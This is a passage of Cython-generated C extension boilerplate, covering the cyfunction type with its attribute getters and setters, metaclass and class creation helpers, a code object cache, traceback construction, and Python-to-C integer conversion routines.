0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, 